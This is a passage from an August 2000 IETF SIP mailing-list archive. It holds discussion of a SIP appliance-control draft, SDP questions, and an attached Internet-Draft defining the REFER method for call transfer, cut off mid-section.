technologies such as the web were > originally designed for human interaction, although now many wish that > we had more labeling (as in XML and the efforts for standardizing > ecommerce field names, inter alia) making it more suitable for > machine-to-machine interaction. I suspect that even SIP notification and > messaging will see a similar evolution from mostly human-to-human to > various mixtures. > > Also, there currently is no equivalent technology to sip-cgi and CPL for > HTTP. (There's obviously cgi, but that's in the server itself and not > really where you want it.) > > I have to admit that I continue to be somewhat perplexed by this > discussion. We have dozens of SIP extensions that truly do change and > complicate SIP to provide the feel of 19th century telephony (well, or > 1970s user interaction), and here we have one that adds nothing (beyond > a method, depending on taste) and works by adding a different content > type. To me, that indicates a strength of the underlying > SIP-for-presence model, not some errant digression. > > Henning > > > _______________________________________________ > SIP mailing list > SIP@lists.bell-labs.com > http://lists.bell-labs.com/mailman/listinfo/sip > _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Sun Aug 6 21:28:48 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA24723 for ; Sun, 6 Aug 2000 21:28:48 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id EE8DF44354; Sun, 6 Aug 2000 21:28:24 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from smtp-out1.bellatlantic.net (smtp-out1.bellatlantic.net [199.45.39.156]) by lists.bell-labs.com (Postfix) with ESMTP id 274A744336 for ; Sun, 6 Aug 2000 21:28:21 -0400 (EDT) Received: from cs.columbia.edu (adsl-151-198-20-48.bellatlantic.net [151.198.20.48]) by smtp-out1.bellatlantic.net (8.9.1/8.9.1) with ESMTP id VAA29961; Sun, 6 Aug 2000 21:28:13 -0400 (EDT) Message-ID: <398E10C3.57E4CFA4@cs.columbia.edu> Date: Sun, 06 Aug 2000 21:28:35 -0400 From: Henning Schulzrinne X-Mailer: Mozilla 4.7 [en]C-CCK-MCD BA45DSL (WinNT; U) X-Accept-Language: en MIME-Version: 1.0 To: Ben Campbell Cc: sip@lists.bell-labs.com Subject: Re: [SIP] Comment ondraft-moyer-sip-appliances-framework-00.txt References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit > > In my mind, the controversy over the appliances draft, is that it proposes > to use SIP and the event extensions as a general purpose process to process > message passing and event protocol. Or if not general purpose, then at least > for the fairly broad category of device control. Do you see this as true? Yes. However, it's not the only such extension. We've already seen two others, namely the PINT version and the use of SUBSCRIBE/NOTIFY for mailbox notification. > > I have difficulty deciding whether this is a good or bad thing. Past > attempts of the IETF to work on general purpose event mechanisms has gone > nowhere, with the general reason (excuse?) that the requirements for event > mechanisms are too varied for one protocol to support them. Now that we > propose to add event extensions to SIP, I expect to see a wave of > application proposals to use SIP as the general purpose approach. > > I for one believe we _do_ need one or more general purpose event protocols, > and am willing to _consider_ using SIP for that purpose. I am not so > concerned that such use would actually harm SIP; I just wonder if it is the > best for the job. > > The questions I would like to see considered are the following: > > 1. Is SIP (with event and message extensions) an appropriate platform for > general event and message applications, particularly in a device to device > or human to device model. For this, it would help to see where the differences are, in general, between h2h and h2d etc. modes, beyond that the description of the state is different. Note also that this question has two types of answers: (1) What would be an ideal protocol mechanism, within the constraint of being physically achievable or a given network infrastructure? (2) What is the best protocol framework with existing tools? For example, the cost and availability of anycast and multicast may well change the answer. > > 2. For a given application of said extensions, how do we decide whether it > is a good fit? For example, what if instead of refrigerators and lamps, we > proposed to control and monitor medical equipment or industrial processes? > This is similar to the question as to whether SIP is a good way to call 911, i.e., are Internet protocols such as SIP sufficiently reliable and robust for applications where failure of communications has significant negative consequences. Since SIP is targeted for first-line telephony, among other applications, the answer better be yes, otherwise, we have far more serious problems than lightbulbs. _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Mon Aug 7 03:42:14 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id DAA27407 for ; Mon, 7 Aug 2000 03:42:13 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id A0BA64433C; Mon, 7 Aug 2000 03:41:09 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from hotmail.com (f18.law7.hotmail.com [216.33.237.18]) by lists.bell-labs.com (Postfix) with ESMTP id 266AC44336 for ; Mon, 7 Aug 2000 03:41:06 -0400 (EDT) Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Mon, 7 Aug 2000 00:41:05 -0700 Received: from 164.164.6.34 by lw7fd.law7.hotmail.msn.com with HTTP; Mon, 07 Aug 2000 GMT X-Originating-IP: [164.164.6.34] From: "rahul pande" To: sip@lists.bell-labs.com Date: Mon, 07 Aug 2000 07:41:05 GMT Mime-Version: 1.0 Content-Type: text/plain; format=flowed Message-ID: X-OriginalArrivalTime: 07 Aug 2000 07:41:05.0598 (UTC) FILETIME=[D7DFBDE0:01C00042] Subject: [SIP] INVITE a=sendrecv, 200ok a=sendonly a=recvonly..? Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com hi all, Pl. answer the queries or refer a url i have few queries to ask : 1) if caller requests the foll. m= 0 1 a=sendrecv if the callee supports only sendonly with 0 and recvonly with 1 then how can he specify this in his response would it be: m= 0 a=sendonly m= 1 a=recvonly but the above will voilate the sip rfc where it specifies that there should be one to one mapping b/w the requests and the response. 2) The netmeeting tool of Microsoft implements the H323 stack and there we have a provision for file transfer too, can we do the same using SIP stack, but how will we convey the request in the SDP. 3) another query on SDP responses: if caller sends a request: m= a=recvonly and the callee supports it, does it have to change the a= value to sendonly in the response i.e. m= a=sendonly or the above will be assumed by the caller on receipt of the positive response ________________________________________________________________________ Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Mon Aug 7 09:03:55 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA24395 for ; Mon, 7 Aug 2000 09:03:55 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id CB1CF4433E; Mon, 7 Aug 2000 09:03:31 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from redball.dynamicsoft.com (redball.dynamicsoft.com [216.173.40.51]) by lists.bell-labs.com (Postfix) with ESMTP id B9DED44339 for ; Mon, 7 Aug 2000 09:03:27 -0400 (EDT) Received: from SUPERBEE (user171.imagin.net [207.18.228.171]) by redball.dynamicsoft.com (8.9.3+Sun/8.10.0.Beta12) with SMTP id JAA01557; Mon, 7 Aug 2000 09:04:52 -0400 (EDT) From: "Ben Campbell" To: "Henning Schulzrinne" Cc: Subject: RE: [SIP] Comment ondraft-moyer-sip-appliances-framework-00.txt Date: Mon, 7 Aug 2000 08:02:07 -0500 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6700 In-Reply-To: <398E10C3.57E4CFA4@cs.columbia.edu> Importance: Normal Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit > -----Original Message----- > From: sip-admin@lists.bell-labs.com > [mailto:sip-admin@lists.bell-labs.com]On Behalf Of Henning Schulzrinne > > > > In my mind, the controversy over the appliances draft, is that > it proposes > > to use SIP and the event extensions as a general purpose > process to process > > message passing and event protocol. Or if not general purpose, > then at least > > for the fairly broad category of device control. Do you see > this as true? > > Yes. However, it's not the only such extension. We've already seen two > others, namely the PINT version and the use of SUBSCRIBE/NOTIFY for > mailbox notification. > Well, at least philosophically, these fit more closely into the realm of "normal" SIP applications. However, since I am down to only objections of philosopy rather than objections of fact, I will concede the argument. As you said earlier, the appliance draft does not propose any new extensions for device control, and therefore it doesn't really add complication to SIP. I withdraw my objections. Thanks! Ben. _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Mon Aug 7 09:39:28 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA16789 for ; Mon, 7 Aug 2000 09:39:27 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 663B644340; Mon, 7 Aug 2000 09:39:00 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from atlrel1.hp.com (atlrel1.hp.com [156.153.255.210]) by lists.bell-labs.com (Postfix) with ESMTP id 23E9044336 for ; Mon, 7 Aug 2000 09:38:57 -0400 (EDT) Received: from hpqs0220.sqf.hp.com (hpqs0220.sqf.hp.com [15.144.178.52]) by atlrel1.hp.com (Postfix) with ESMTP id 833194D for ; Mon, 7 Aug 2000 09:38:52 -0400 (EDT) Received: from sqf.hp.com (cdowney@localhost [127.0.0.1]) by hpqs0220.sqf.hp.com (8.9.3 (PHNE_18979)/8.9.3 SMKit7.0) with ESMTP id OAA03893 for ; Mon, 7 Aug 2000 14:38:49 +0100 (BST) Message-ID: <398EBBE5.8F8544FE@sqf.hp.com> Date: Mon, 07 Aug 2000 14:38:45 +0100 From: Christopher Downey Organization: Agilent Technologies X-Mailer: Mozilla 4.73 [en] (X11; I; HP-UX B.10.20 9000/712) X-Accept-Language: en MIME-Version: 1.0 To: sip@lists.bell-labs.com Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: [SIP] General query on SIP syntax Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit Hi With respect to the following web site and backwards compatibility, should this be the main source for SIP grammar bearing in mind the modifications and new additional headers which are found in the later bis drafts. http://www.cs.columbia.edu/~hgs/sip/SIPgrammar Thanks for any help Christopher -- ********************************************************************** Christopher Downey (Student Software Engineer) Agilent Technologies Research & Development Telecoms Systems Division Email : cdowney@sqf.hp.com South Queensferry Phone : +44 131 331 6137 Scotland Internal : 33137 ********************************************************************** _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Mon Aug 7 09:50:26 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA23480 for ; Mon, 7 Aug 2000 09:50:25 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 694A844349; Mon, 7 Aug 2000 09:49:19 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from mars.hss.co.in (unknown [202.54.26.197]) by lists.bell-labs.com (Postfix) with ESMTP id B161944336 for ; Mon, 7 Aug 2000 09:49:06 -0400 (EDT) Received: from sampark.hss.hns.com (sampark.hss.hns.com [139.85.229.22]) by mars.hss.co.in (8.10.0/8.10.0) with SMTP id e77Djkq15903; Mon, 7 Aug 2000 19:16:20 +0530 (IST) Received: by sampark.hss.hns.com(Lotus SMTP MTA Internal build v4.6.2 (651.2 6-10-1998)) id 65256934.004C0B48 ; Mon, 7 Aug 2000 19:20:36 +0530 X-Lotus-FromDomain: HSSBLR From: archow@hss.hns.com To: Christopher Downey Cc: sip@lists.bell-labs.com Message-ID: <65256934.004C0A27.00@sampark.hss.hns.com> Date: Mon, 7 Aug 2000 19:20:32 +0530 Subject: Re: [SIP] General query on SIP syntax Mime-Version: 1.0 Content-type: text/plain; charset=us-ascii Content-Disposition: inline Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Hi actually this is only a hyper linked version of the grammar in the SIP draft, and is for ease of navigation only I have yet to update this HTMLised grammar to reflect the new draft changes. (its a little backdated wrt new draft...) Please refer to the grammar in the bis draft and not h ttp://www.cs.columbia.edu/~hgs/sip/SIPgrammar as the definitive reference Regds Arjun -- Arjun Roychowdhury @ Hughes Software Systems Christopher Downey on 08/07/2000 07:08:45 PM To: sip@lists.bell-labs.com cc: Subject: [SIP] General query on SIP syntax Hi With respect to the following web site and backwards compatibility, should this be the main source for SIP grammar bearing in mind the modifications and new additional headers which are found in the later bis drafts. http://www.cs.columbia.edu/~hgs/sip/SIPgrammar Thanks for any help Christopher -- ********************************************************************** Christopher Downey (Student Software Engineer) Agilent Technologies Research & Development Telecoms Systems Division Email : cdowney@sqf.hp.com South Queensferry Phone : +44 131 331 6137 Scotland Internal : 33137 ********************************************************************** _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Mon Aug 7 10:49:53 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA26577 for ; Mon, 7 Aug 2000 10:49:51 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 9043144348; Mon, 7 Aug 2000 10:49:41 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from redball.dynamicsoft.com (redball.dynamicsoft.com [216.173.40.51]) by lists.bell-labs.com (Postfix) with ESMTP id 8286944336 for ; Mon, 7 Aug 2000 10:49:36 -0400 (EDT) Received: from CINQUECENTO (c500355-a.plano1.tx.home.com [24.10.21.154]) by redball.dynamicsoft.com (8.9.3+Sun/8.10.0.Beta12) with SMTP id KAA02044 for ; Mon, 7 Aug 2000 10:51:12 -0400 (EDT) From: "Robert Sparks" To: Date: Mon, 7 Aug 2000 09:47:59 -0500 Message-ID: MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_0003_01C00054.9210A0B0" X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6700 Subject: [SIP] The NOTIFY method Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com This is a multi-part message in MIME format. ------=_NextPart_000_0003_01C00054.9210A0B0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit If you have not already done so, please look over draft-ietf-sip-cc-transfer-00.txt (attached for convenience) and comment. We missed the original target for completing this work. If there are any issues with the draft, lets work through them as soon as possible. Thanks! RjS Here are the changes since the previous version of the draft: . The method was renamed to reflect its function instead of this particular application of its function. TRANSFER and Transfer-To became REFER and Refer-To. REFER was generalized to support URLs beyond those indicating SIP INVITEs. . A Require header is no longer required. Bodies are allowed. . Copying Call-ID from the request was replaced by using a Refer-To: URL containing any headers that should be use. . Added a way for the identity specified in Refer-To: to know it has been referred to. . Added a mechanism to prove the identity of the issuer of the REFER to the identity specified in Refer-To. . The failure response returned to an attempted REFER has been changed from 603 to 503 to facilitate different behavior in the cases of "I won't accept that REFER" and "I tried that REFER and it failed" with Retry-After: support for the later. ------=_NextPart_000_0003_01C00054.9210A0B0 Content-Type: text/plain; name="draft-ietf-sip-cc-transfer-00.txt" Content-Disposition: attachment; filename="draft-ietf-sip-cc-transfer-00.txt" Content-Transfer-Encoding: quoted-printable Internet Engineering Task Force Robert Sparks=20 Internet Draft dynamicsoft=20 draft-ietf-sip-cc-transfer-00.txt=20 July 2000=20 Expires February 2001=20 =20 SIP Call Control =20 Transfer=20 =20 STATUS OF THIS MEMO=20 =20 This document is an Internet-Draft and is in full conformance with all = provisions of Section 10 of RFC2026 [1].=20 =20 Internet-Drafts are working documents of the Internet Engineering Task = Force (IETF), its areas, and its working groups. Note that other=20 groups may also distribute working documents as Internet-Drafts.=20 =20 Internet-Drafts are draft documents valid for a maximum of six months=20 and may be updated, replaced, or obsoleted by other documents at any=20 time. It is inappropriate to use Internet-Drafts as reference material = or to cite them other than as work in progress.=20 =20 The list of current Internet-Drafts can be accessed at=20 http://www.ietf.org/ietf/1id-abstracts.txt=20 =20 The list of Internet-Draft Shadow Directories can be accessed at=20 http://www.ietf.org/shadow.html=20 =20 =20 Abstract=20 =20 This document defines a SIP extension within the new Call Control=20 Framework to provide Call Transfer capabilities.=20 =20 =20 Robert Sparks [Page 1] = =0C Internet Draft draft-ietf-sip-cc-transfer-00.txt July 2000=20 =20 1 Overview...........................................................3=20 2 Changes from draft-sparks-sip-cc-transfer-00.......................3=20 3 Actors and Roles...................................................4=20 4 Requirements.......................................................5=20 5 The REFER Method...................................................6=20 5.1 The Refer-To Header............................................6=20 5.2 The Referred-By Header.........................................7=20 5.2.1 A PGP based signature-scheme.................................7=20 5.3 Header Field Support for the REFER Method......................8=20 5.4 Message Body Inclusion.........................................9=20 5.5 Responses to the REFER Method..................................9=20 5.6 Behavior of SIP User Agents...................................10=20 5.7 Behavior of SIP Registrars/Redirect Servers...................10=20 5.8 Behavior of SIP Proxies.......................................10=20 5.9 Security Considerations.......................................11=20 6 Using REFER to achieve Call Transfer..............................11=20 6.1 Unattended Transfer...........................................11=20 6.1.1 Successful Unattended Transfer..............................12=20 6.1.2 Failed Unattended Transfer..................................13=20 6.2 Unattended Transfer with Consultation Hold....................14=20 6.2.1 Variation 1 : Exposes transfer target.......................14=20 6.3 Attended Transfer.............................................15=20 6.4 Transfer with multiple parties................................16=20 7 Author's Addresses................................................17=20 8 Acknowledgments...................................................17=20 9 References........................................................17=20 =20 Robert Sparks [Page 2]=20 =0C Internet Draft draft-ietf-sip-cc-transfer-00.txt July 2000=20 =20 1 Overview=20 =20 This document defines a SIP [2] extension and details its use to=20 provide Call Transfer capabilities. This is part of a family of Call=20 Control extensions described in the Call Control Framework document=20 [3]. =20 =20 The mechanisms discussed here are most closely related to traditional=20 unattended and consultation hold transfers. Discussion of attended=20 transfer (where all parties are briefly in a conference) is deferred=20 until the conferencing features in this framework are addressed.=20 =20 This work has roots in draft-ietf-sip-cc-01 [4] but some basic=20 semantics are different. In particular, transfers are achieved through = a new method that does not terminate the original signaling=20 relationship. By disassociating transfers from the processing of BYE,=20 these changes facilitate recovery of failed transfers and clarify=20 state management in the participating entities.=20 =20 Implementers that started with the sip-cc-01 BYE-ALSO technique for=20 blind-transfer should find it straightforward to migrate to the=20 mechanisms set forth here.=20 2 Changes from draft-sparks-sip-cc-transfer-00=20 =20 . The method was renamed to reflect its function instead of this=20 particular application of its function. TRANSFER and Transfer-To=20 became REFER and Refer-To. REFER was generalized to support URLs=20 beyond those indicating SIP INVITEs.=20 . A Require header is no longer required. Bodies are allowed.=20 . Copying Call-ID from the request was replaced by using a Refer-To:=20 URL containing any headers that should be use.=20 . Added a way for the identity specified in Refer-To: to know it has=20 been referred to.=20 . Added a mechanism to prove the identity of the issuer of the REFER=20 to the identity specified in Refer-To.=20 . The failure response returned to an attempted REFER has been=20 changed from 603 to 503 to facilitate different behavior in the=20 cases of "I won't accept that REFER" and "I tried that REFER and it=20 failed" with Retry-After: support for the later.=20 Robert Sparks [Page 3]=20 =0C Internet Draft draft-ietf-sip-cc-transfer-00.txt July 2000=20 3 Actors and Roles=20 =20 There are three actors in a given transfer event, each playing one of=20 the following roles:=20 =20 Transferee - the party being transferred to the Transfer=20 Target.=20 =20 Transferor - the party initiating the transfer =20 =20 Transfer Target - the new party being introduced into a call with=20 the Transferee.=20 =20 The following roles are used to describe transfer requirements and=20 scenarios:=20 =20 Originator - wishes to place a call to the Recipient. This actor=20 is the source of the first INVITE in a session, to=20 either a Facilitator or a Screener.=20 =20 Facilitator - receives a call or out-of-band request from the=20 Originator, establishes a call to the Recipient=20 through the Screener, and connects the Originator to=20 the Recipient.=20 =20 Screener - receives a call ultimately intended for the Recipient = and transfers the calling party to the Recipient if=20 appropriate.=20 =20 Recipient - the party the Originator is ultimately connected to.=20 =20 Robert Sparks [Page 4]=20 =0C Internet Draft draft-ietf-sip-cc-transfer-00.txt July 2000=20 =20 4 Requirements=20 =20 1. Any party in a SIP session MUST be able to transfer any other=20 party in that session at any point in that session.=20 =20 2. The Transferor and the Transferee MUST NOT be removed from a=20 session as part of a transfer transaction.=20 =20 At first glance, requirement 2 may seem to indicate=20 that the user experience in a transfer must be=20 significantly different from what a current PBX or=20 Centrex user expects. As the call-flows in this=20 document show, this is not the case. A client MAY=20 preserve the current experience. In fact, without=20 this requirement, some forms of the current=20 experience (ringback on unattended transfer failure=20 for instance) will be lost.=20 =20 3. The Transferor MUST know whether or not the transfer was=20 successful (this is significantly different from the requirements = of draft-ietf-sip-cc-01). =20 Robert Sparks [Page 5]=20 =0C Internet Draft draft-ietf-sip-cc-transfer-00.txt July 2000=20 =20 5 The REFER Method=20 =20 REFER is a SIP method as defined by [2]. The REFER method indicates=20 that the recipient should contact a third party using the contact=20 information provided in the method. A success response indicates that=20 the recipient was able to contact the third party. The REFER method=20 follows the session's current signaling path. In particular, the=20 Request-URI of the REFER method identifies the recipient.=20 =20 Unless stated otherwise, the protocol for emitting and responding to a = REFER request are identical to those for a BYE request in [2]. The=20 behavior of SIP entities not implementing the REFER (or any other=20 unknown) method is explicitly defined in [2] and is not discussed=20 further here.=20 5.1 The Refer-To Header=20 =20 Refer-To is a request-header as defined by [2]. It may only appear in=20 a REFER request. It identifies the transfer target.=20 Refer-To =3D "Refer-To" ":" URL=20 =20 A REFER method MUST contain exactly one Refer-To header.=20 =20 The Refer-To header MAY be encrypted as part of end-end encryption.=20 =20 The Refer-To header has no short form.=20 =20 The Contact header is an important part of the=20 Route/Record-Route mechanism and is not available=20 for this task.=20 =20 =20 Robert Sparks [Page 6]=20 =0C Internet Draft draft-ietf-sip-cc-transfer-00.txt July 2000=20 =20 5.2 The Referred-By Header=20 Referred-By is a request-header as defined by [2]. It can appear in=20 any request. It conveys the identity of the original REFERrer to the=20 referred-to party, optionally proving the identity and that the=20 REFERrer actually issued this reference.=20 =20 Referred-By =3D "Referred-By" ":" referrer-url referenced-url=20 [ref-signature]=20 referrer-url =3D SIP-URL=20 referenced-url =3D URL=20 ref-signature =3D signature-scheme #sig-scheme-params=20 signature-scheme =3D token=20 sig-scheme-parms =3D token "=3D" ( token | quoted-string )=20 The referrer-url contains the SIP URL of the party sending the REFER=20 request. The referenced-url contains a copy of the URL placed in the=20 Refer-To: header. The ref-signature contains a signature over the=20 concatenation of referrer-url and referenced-url. An example=20 signature scheme is given in section 5.2.1.=20 A REFER request MUST contain exactly one Referred-By header.=20 The Referred-By header SHOULD be signed to help detection of REFERs=20 from unauthorized third parties. A signed Referred-By header SHOULD=20 include a Date header in the referrer-url to facilitate detection of=20 replay attacks.=20 A UA MAY reject a request containing an unsigned Referred-By header. A=20 UA SHOULD verify the signature on any Referred-By header it receives. =20 The Referred-By header MAY be encrypted as part of end-end encryption.=20 The Referred-By header has no short form.=20 5.2.1 A PGP based signature-scheme=20 =20 One signature-scheme for Referred-By headers uses PGP as follows:=20 =20 Referred-By =3D "Referred-By" ":" referrer-url =20 referenced-url "pgp" pgp-sig-scheme-parms=20 pgp-sig-scheme-parms =3D pgp-version | signed-by | pgp-signature=20 =20 pgp-version, signed-by and pgp-signature are defined in section 15.1.2 = of RFC2543, with the modification that the signature is computed=20 across the concatenation of the referrer-url and the referenced-url.=20 =20 =20 Robert Sparks [Page 7]=20 =0C Internet Draft draft-ietf-sip-cc-transfer-00.txt July 2000=20 5.3 Header Field Support for the REFER Method=20 =20 This table adds a column to tables 4 and 5 in [2], describing header=20 presence in a REFER method. See [2] for a key for the symbols used. A=20 row for the Refer-To: and Referred-By request-header should be=20 inferred, each mandatory for REFER. Refer-To is not applicable for all = other methods. Referred-By is a general Request header. The enc and e- e columns in [2] apply to the REFER method unmodified.=20 =20 =20 Header Where REFER=20 Accept R -=20 Accept-Encoding R -=20 Accept-Language R o=20 Allow R -=20 Allow 405 m=20 Authorization R o=20 Call-ID gc m=20 Contact R o=20 Contact 1xx -=20 Contact 2-6xx o=20 Content-Encoding e -=20 Content-Length e o <-SHOULD be present and=20 Content-Type e - have a value of zero=20 CSeq gc m=20 Date g o=20 Encryption g o=20 Expires R o=20 From gc m=20 Hide R o=20 Max-Forwards R o=20 Organization g o=20 Priority R -=20 Proxy-Authenticate 407 o=20 Proxy-Authorization R o=20 Proxy-Require R o=20 Require R o=20 Retry-After R -=20 Retry-After 404,480,486 o=20 Retry-After 503 o=20 Retry-After 600,603 o=20 Response-Key R o=20 Record-Route R o=20 Record-Route 2xx o=20 Route R o=20 Server r o=20 Subject R -=20 Robert Sparks [Page 8]=20 =0C Internet Draft draft-ietf-sip-cc-transfer-00.txt July 2000=20 Timestamp g o=20 To gc(1) m=20 Unsupported 420 o=20 User-Agent g o=20 Via gc(2) m=20 Warning r o=20 WWW-Authenticate 401 o=20 =20 5.4 Message Body Inclusion=20 =20 A REFER method may contain a body which SHOULD be processed according=20 to its Content-Type.=20 =20 5.5 Responses to the REFER Method=20 =20 An agent responding to a REFER Method MUST return a 400 Bad Request if = the request contained zero or more than one Refer-To headers. An agent = responding to a REFER Method MUST return a 400 Bad Request if the=20 request contained zero or more than one Referred-By headers. An agent=20 (including proxies generating local responses) MAY return a 100 Trying = or any appropriate 400-600 class response as prescribed by [2]. If the = recipient's agent decides to contact the resource in the Refer-To=20 header, a 200 OK response MUST be returned if it the contact was=20 successful, otherwise a 503 Service Unavailable MUST be returned. The=20 503 response MAY contain a Retry-After: header indicating when the=20 REFER may be attempted again. =20 =20 The original proposal called for a 603 response if=20 the REFER was attempted but failed. This left no way=20 for the referrer to tell whether the recipient tried=20 and failed, or just refused to try. A 603 Decline=20 now means the recipient refuses to try. A 503 can=20 mean either "I tried and failed" or "I'm broken and=20 couldn't try". In either case, if a Retry-After=20 header is present, the request can be attempted=20 again.=20 Robert Sparks [Page 9]=20 =0C Internet Draft draft-ietf-sip-cc-transfer-00.txt July 2000=20 =20 5.6 Behavior of SIP User Agents=20 =20 A UA receiving a well-formed REFER request SHOULD request approval=20 from the user to proceed (this request could be interactive or through = configuration). Upon receiving approval from the user, the UA MUST=20 contact the resource identified by the URL in the Refer-To: header.=20 Note that if the URL is a SIP URL, it could contain header fields such = as Call-Id that will be used to form the resulting request. If the URL = is a SIP URL, the Referred-By header in the REFER request should be=20 copied into the request sent to the referred-to resource. In=20 accordance with [2], the UA SHOULD issue a provisional response to the = REFER method if it cannot issue a final response within 200ms of its=20 receipt. The appropriate response to issue to the REFER on receipt of=20 a final response from the referred-to resource is discussed in=20 "Responses to the REFER Method".=20 =20 A REFER request is meaningful only in the context of an existing=20 session. A UA receiving a REFER request for an unknown call leg MUST=20 return a 481 Call Leg/Transaction Does Not Exist and MUST NOT contact=20 the resource identified by that request's Refer-To header as part of=20 the REFER transaction.=20 =20 5.7 Behavior of SIP Registrars/Redirect Servers=20 =20 Since REFER has meaning only in the context of an existing session, a=20 Registrar or Redirect Server that is not also playing the role of a=20 User Agent (never issues a 200 OK in response to an INVITE) MUST=20 respond to a REFER request with a 481 Call Leg/Transaction Does Not=20 Exist.=20 5.8 Behavior of SIP Proxies=20 =20 SIP Proxies do not require modification to support the REFER method.=20 Specifically, as required by [2], a proxy should process a REFER=20 request the same way it processes an OPTIONS request.=20 Robert Sparks [Page 10]=20 =0C Internet Draft draft-ietf-sip-cc-transfer-00.txt July 2000=20 =20 5.9 Security Considerations=20 =20 The security requirements of [2] apply to the REFER method.=20 =20 This mechanism relies on providing contact information for the=20 referred-to resource to the party being referred (the transfer-target=20 and transferee in a transfer). Care should be taken to provide a=20 suitably restricted URI if the referred to resource should be=20 protected.=20 =20 Care should be taken when implementing the logic that determines=20 whether or not to accept the REFER request. A UA not capable of=20 accessing non-SIP URLs SHOULD NOT accept REFER requests to them.=20 Unless the UA has good reason (perhaps as part of an as yet undefined=20 application), it SHOULD NOT accept REFERences to SIP URLs for methods=20 other than INVITE. =20 6 Using REFER to achieve Call Transfer=20 =20 A REFER can be issued by the Transferor to cause the Transferee to=20 issue an INVITE to the Transfer-Target. Note that a successful REFER=20 transaction does not terminate the session between the Transferor and=20 the Transferee. If those parties wish to terminate their session, they = must do so with a subsequent BYE request. The media negotiated between = the transferee and the transfer target is not affected by the media=20 that had been negotiated between the transferor and the transferee. In = particular, the INVITE issued by the Transferee will have the same SDP = body it would have if he Transferee had initiated that INVITE on its=20 own. Further, the disposition of the media streams between the=20 Transferor and the Transferee is not 